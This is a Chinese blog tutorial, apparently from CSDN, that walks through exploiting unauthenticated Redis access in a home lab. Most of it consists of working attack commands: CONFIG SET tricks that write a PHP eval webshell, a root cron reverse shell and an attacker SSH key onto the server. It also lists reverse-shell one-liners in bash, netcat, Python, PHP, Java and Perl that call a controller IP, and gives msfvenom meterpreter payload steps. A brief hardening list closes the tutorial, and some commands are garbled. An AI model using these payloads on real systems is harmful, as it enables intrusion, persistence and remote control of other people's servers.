02-Redis未授权访问漏洞

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

本文为超全超详细的Redis未授权访问漏洞详谈。

1、Redis常见用途

  • 缓存
  • 分布式session、分布式锁、分布式全局ID
  • 计数器、限流
  • 列表
  • 抽奖
  • 标签
  • 排行榜

Redis常用数据类型:

  1. String:字符和整型
  2. Hash:哈希表
  3. List:有序数组
  4. Set:无序集合
  5. ZSet:有序集合

2、环境安装

使用到的环境及工具有:
1、kali
2、两台redis
3、蚁剑
Redis安装在网上有很多讲述,这里就不赘述了。
这里需要两台redis(一台redis-client,一台redis-server。使用的是centos7)。
重要的是更改redis.conf配置

vim小技巧:快速查找可以输入/然后打上要找的指令。例如:/daemonize no

  1. 窗口一关服务就挂了,所以改这样改:
 daemonize no  改为daemonize yes
  1. 取消IP绑定bind, 默认的是:bind 127.0.0.1 。要前面加个#号
# bind 127.0.0.1
  1. 开放6379端口或者关闭防火墙
systemctl status firewalld #检查防火墙状态
systemctl stop firewalld.service    #关闭防火墙
systemctl disable firewalld.service    #禁止开机启动
  1. 不需要密码(默认)requirepass yourpasswd 把这一行注释掉
# requirepass yourpasswd

3、Redis持久化机制

把内存的信息,不定时的存入到硬盘内。有两种保存机制

  1. RDB Redis DataBase (默认)
  2. AOF Append Only File

配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
运维管理员手动触发保存命令:save / bgsave

4、Redis动态修改配置

config set:动态修改配置,重启以后失效

这里是搭建了一个小皮面板。

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

然后下面操作把配置地址修改到/www/admin/localhost_80/wwwroot下。然后改了名称

config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aaa bbb
save

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pBVk15lH-1721198788098)(https://i-blog.csdnimg.cn/direct/f9bb87b38466494fb6c48a3b70be741b.png)]

// 这里的conn是我通过alias写的快捷连接命令。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vCWLZoGc-1721198788101)(https://i-blog.csdnimg.cn/direct/bf6ccac07b8f46d5b15cd9990ee31d35.png)]

去文件下查看是否成功并写入命令
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NAFJ6C0W-1721198788102)(https://i-blog.csdnimg.cn/direct/ba8b70b7b8d5468186020b1a4463fb38.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3HyOUbTZ-1721198788103)(https://i-blog.csdnimg.cn/direct/b5c9ac12b2f14c5b94983009b3ce2b56.png)]

这里我们就成功了。这里说明我们可以通过修改redis的配置文件的目录及名称并往其中写入php脚本比如一句话木马。这就可以做很多事了。

5、利用Redis实现攻击

5.1、webshell提权

我们先清空redis.php里的内容

flushall
save

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dIB8HEDT-1721198788104)(https://i-blog.csdnimg.cn/direct/79c5755b81b8444ab7cfe9f8d2a5573b.png)]
写入我们的一句话木马,前面的x也就是key无关紧要

set x "<?php @eval($_POST[sydm]); ?>"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2w7c3yRA-1721198788105)(https://i-blog.csdnimg.cn/direct/c9a1176ff4454090ae1d02d22a780c4d.png)]
写入成功
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ChwDAnby-1721198788106)(https://i-blog.csdnimg.cn/direct/eb5f0dc088e34a6a9bb7c51d8a5767d5.png)]
使用蚁剑连接测试一下,成功上线
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xkop5uYi-1721198788107)(https://i-blog.csdnimg.cn/direct/11b3da3916da40ecb5e996025c366886.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JAmK7d3n-1721198788107)(https://i-blog.csdnimg.cn/direct/2aba5669e49e474ebaf8a996cb38c1fa.png)]

5.2、bash反弹连接提权


这里就要提一下,什么时候要用到反弹连接

  1. 内网,私有IP
  2. IP动态变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除
    正常连接是。我们控制机去连接靶机。
    反弹连接是。让靶机来自动连接我们控制机

5.2.1、反弹连接的实现

要解决两个问题

  1. 控制机怎么监听一个端口?
    三种监听方式

    1.netcat

    nc -lvp 7777
    

    2.msf

    msfconsole
    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.110.5
    set lport 7777
    run
    

    3.socat(kali)

    socat TCP-LISTEN:7777 - 
    
  2. 靶机怎么连接到控制机的端口?
    常见的连接方式有以下几种

    1. Linux bash
    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    
    1. netcat
    nc -e /bin/bash 192.168.110.14 7777
    
    1. Python
    python -c "importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.110.14',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    1. PHP
    php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.142.44 7777");'php -r '$sock=fsockopen("192.168.110.14",7777);exec("/bin/bash -i<&3 >&3 2>&3");'
    
    1. Java
    r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/7777;cat<&5 |while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
    
    1. perl
    perl -e ' useSocket;$i="192.168.142.44";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    1. msf-PHP
    msfvenom -p php/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -o shell.php
    
    1. msf-Java
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f war -o shell.war 
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f jar -o shell.jar
    
    1. msf-exe
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.14 lport=7777 -i 5 -f exe -o test.exe
    

还有很多连接方法,根据不同环境进行操作。(其实很多都是基于bash连接的)

5.2.2、netcat实际操作

  1. 先在redis-client开启监听

    nc -lvp 7777
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PHSV9u7E-1721198788108)(https://i-blog.csdnimg.cn/direct/0147baadd98140efb815466f4983c84a.png)]

  2. 接着在服务端输入连接口令(注意,这里的ip是我们控制机的ip)

    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CFXnGvgl-1721198788109)(https://i-blog.csdnimg.cn/direct/31f7771049f6481d9dbb20437ce8cf3c.png)]

这时候客户端就有消息提示连接了,测试一下。客户端输入的指令,是不是在服务端运行。输入ifconfig。我们这台客户端ip是110.14,服务端ip是110.15.

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L4Il7XWj-1721198788110)(https://i-blog.csdnimg.cn/direct/081cf469d03c4180a41f72309d291006.png)]
连接成功。

5.2.3、socat实际操作

socat是在kali上运行的。

  1. 在kali上开启监控7777端口
		socat TCP-LISTEN:7777 - 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J35v78y4-1721198788111)(https://i-blog.csdnimg.cn/direct/6e06912765874e52aa7b8bb10417c852.png)]

  1. 在redis-server上连接kali的ip.(kali的ip为110.5)
	bash -i >& /dev/tcp/192.168.110.5/7777 0>&1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kNhmnpeO-1721198788112)(https://i-blog.csdnimg.cn/direct/383348580def45eab84be99ca56a4a0e.png)]

kali上冒泡了,连接成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UPlkzncj-1721198788113)(https://i-blog.csdnimg.cn/direct/d8721ed9e95b470191402ae1e74060d7.png)]

5.2.4、msf-exe实际操作

  1. 生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.5 lport=7777 -i 5 -f exe -o test.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xI1fSmRj-1721198788113)(https://i-blog.csdnimg.cn/direct/0639527a7e09473dbde3d0f7f85fa48f.png)]

  1. 把文件先取出来
sz file test.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SaEkAPDN-1721198788114)(https://i-blog.csdnimg.cn/direct/bafc4bf3f01b43ab84a578867a3e7709.png)]

  1. 放在我们要监听的windows(ip:110.6)虚拟机上,并双击执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fltx3haO-1721198788115)(https://i-blog.csdnimg.cn/direct/2fee39f429c4440e99a490215ed09365.png)]

  1. 在kali上设置监听
	msfconsole
	use exploit/multi/handler
	set payload windows/meterpreter/reverse_tcp
	set lhost 192.168.110.5
	set lport 7777
	exploit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fQWqvxUE-1721198788116)(https://i-blog.csdnimg.cn/direct/577c19db65c34eb9a522dee1b72362b3.png)]

  1. 连接成功后,可以执行一系列命令meterpreter可以执行很多操作
#查看本机信息
sysinfo
#截图
screenshot
#进入windows命令
shell
#查看本机ip
ipconfig

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aePWntme-1721198788116)(https://i-blog.csdnimg.cn/direct/f3388f11d9504628bf22a4eb54ef5ef8.png)]


5.2.5、反弹连接总结

详谈一下

bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
#打开一个交互式的bash终端
bash -i
#将标准错误输入合并到标准输出轴
>&
#与远程机器(也就是我们的控制机)建立一个socket连接
/dev/tcp/192.168.110.5/7777
#将标准输入重定向到标准输出中
0>&1

这也就是为什么我们在控制机上输入的内容会在靶机上执行,然后结果反弹回控制机上

流程:

  1. 监听端口
  2. 执行命令,或者上传payload访问,建立连接

怎么上传?

  1. 文件上传漏洞
  2. 写入文件:MySQL、Redis、CMS
  3. 文件编辑命令:tee、test.py

怎么执行?

  1. 访问
  2. 定时任务自动触发

5.3、定时任务

cron表达式
这边可以用在线工具生成,也有说明
地址:https://www.pppet.net/

命令 操作
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

cron文件存储路径

#这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/var/spool/cron 
#放的是对应周期的任务dalily、hourly 、monthly、weekly
/etc/crontab 

5.3.1、通过定时任务建立反弹连接

  1. 在redis服务器上启动redis服务,并输入netstat -an|preg 6379。查看是否启动成功
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vVy3L2DW-1721198788117)(https://i-blog.csdnimg.cn/direct/b33fab59681f4ecc8790b09b63c1e8e6.png)]
  2. redis客户端启动监听端口
nc -lvp 7777

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Id0qdZ7Z-1721198788119)(https://i-blog.csdnimg.cn/direct/37f52f65bc2d462f8518a62aac086377.png)]

  1. 另起一台redis客户端连接服务器并写入反弹命令
# 这里面的*****代表的是每分钟执行一次
#\n是为了和其他数据换行
set x "\n* * * * * bash -i >& /dev/tcp/192.168.110.14/7777 0>&1\n" 

#要把这个写入到/var/spool/cron/下
config set dir /var/spool/cron/

#这里要用root用户
config set dbfilename root

#最后保存
save

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9OuPbTVg-1721198788120)(https://i-blog.csdnimg.cn/direct/6fa15710d8af4d66a53e3057d92cab9e.png)]

这里我们可以去服务器下验证一下,看文件是否存在内容有没有写入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b73wibgs-1721198788120)(https://i-blog.csdnimg.cn/direct/7637083e3b20483e97bd9575c15098b1.png)]

4.连接成功
过一会就连接上了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dqPMrNFw-1721198788121)(https://i-blog.csdnimg.cn/direct/84587843048e450fb184505b80188e6e.png)]
这里就可以用wget等等就做一些事了

5.4、SSH key免密登陆

5.4.1、ssh key简述

5.4.2、使用ssh key进行免密登陆

  1. 生成ssh-key,其他内容直接回车就行
shh-keygen
  1. 查看一下在.ssh下,有两个文件了。pub就是公钥,另一个就是私钥了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kRiZJxzr-1721198788122)(https://i-blog.csdnimg.cn/direct/d784e04e78d343a882c1a2580039f2e3.png)]

  1. 将公钥发送到服务器
ssh-copy-id root@192.168.110.15

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AEvU51hN-1721198788123)(https://i-blog.csdnimg.cn/direct/ba3c0b6973cb4c7189135391586c1b0c.png)]
我们在服务器就可以查看到传输了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uLz7ZeLT-1721198788123)(https://i-blog.csdnimg.cn/direct/3dfff4fcf7a64be8b327fb480427959b.png)]
同时这个authorized_keys的内容也就是这一串字符,这说明了什么,我们同样可以使用redis写入,达到把公钥放在靶机上。

  1. 这时候服务端就有我们的公钥了,就可以进行免密登陆
# 注意这个要在.ssh目录下才能使用到这个密钥
ssh -i ./id_rsa root@192.168.110.15

登陆成功
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XV0r21S0-1721198788124)(https://i-blog.csdnimg.cn/direct/e4ea08cb978843ab811c794a37c7f952.png)]

5.4.3、通过redis完成

  1. 先进行redis连接,先写入一些换行符
conn
set sshkey "\n\n\n----\n\n\n"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NkxQpwvy-1721198788125)(https://i-blog.csdnimg.cn/direct/a12347f8fccc48ffa97e7fe0961c60eb.png)]

  1. 再开一台client,把公钥拿到
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dtP2I4WN-1721198788126)(https://i-blog.csdnimg.cn/direct/9c2b2ced034d474b972bf85ca6088cd0.png)]

  1. 清空内容再写入我们的公钥
flushall
set sshkey "/n/n/ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain/n/n/n"
save

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NLRiAruf-1721198788126)(https://i-blog.csdnimg.cn/direct/b8456d9c006f4f339d81a74d5a7519ab.png)]

  1. 修改文件路径及文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
save

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kaUAoxJ7-1721198788127)(https://i-blog.csdnimg.cn/direct/a36fc4eb2c6e422f97a07748eee4cebe.png)]

  1. 连接成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j1jazw4O-1721198788128)(https://i-blog.csdnimg.cn/direct/096ffea118084e5dbb62d64d68d7c3da.png)]

5.4.4、总结

  1. 控制机连接到Redis
  2. 向$HOME/.ssh/authorized_keys写入公钥
  3. ssh -i ./id_rsa user@IP 使用私钥免密登录(这里的user代表角色可以用root,IP为靶机ip)
  4. 执行后续操作

redis还有其他提权操作:

  1. 基于主从复制的RCE(Remote Code Execution)
  2. jackson 反序列化利用
  3. lua RCE
  4. Structured Query Language
  5. Redis密码爆破

8、Redis加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis

9、一些问题总结

  1. 怎么知道有这个根目录把redis配置文件写在这下面
    这一般是通过目录扫描等方法得到的,并且80端口是否有开放这些都是信息收集得到的。这个只是其中一种提权手段
  2. 在使用redis写入sshkey时,后面连接还是需要输入密码。这个在写入的时候前面加两个换行符就可以避免/n/n

相关推荐

  1. 02-Redis授权访问漏洞

    2024-07-18 17:08:02       22 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-18 17:08:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-18 17:08:02       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-18 17:08:02       58 阅读
  4. Python语言-面向对象

    2024-07-18 17:08:02       69 阅读

热门阅读

  1. 开发一个商城app需要多少钱

    2024-07-18 17:08:02       21 阅读
  2. 【STM32】超声波一般常用哪两个引脚?

    2024-07-18 17:08:02       19 阅读
  3. Linux 之 ln 硬链接和软链接

    2024-07-18 17:08:02       20 阅读
  4. spfa判断负环

    2024-07-18 17:08:02       24 阅读
  5. 如何建设和维护数据仓库:深入指南

    2024-07-18 17:08:02       24 阅读
  6. vue程序中如何设置调用springboot服务的url

    2024-07-18 17:08:02       23 阅读
  7. CCF-CSP认证考试 202406-3 文本分词 100分题解

    2024-07-18 17:08:02       20 阅读
  8. 代码注释中的常见标记

    2024-07-18 17:08:02       22 阅读
  9. 2024.7.17 ABAP面试题目总结

    2024-07-18 17:08:02       24 阅读
  10. 【笔记-Python】内置容器-list

    2024-07-18 17:08:02       19 阅读
  11. 每日一题——第十四题

    2024-07-18 17:08:02       23 阅读
  12. 使用useRef和useState有什么区别

    2024-07-18 17:08:02       22 阅读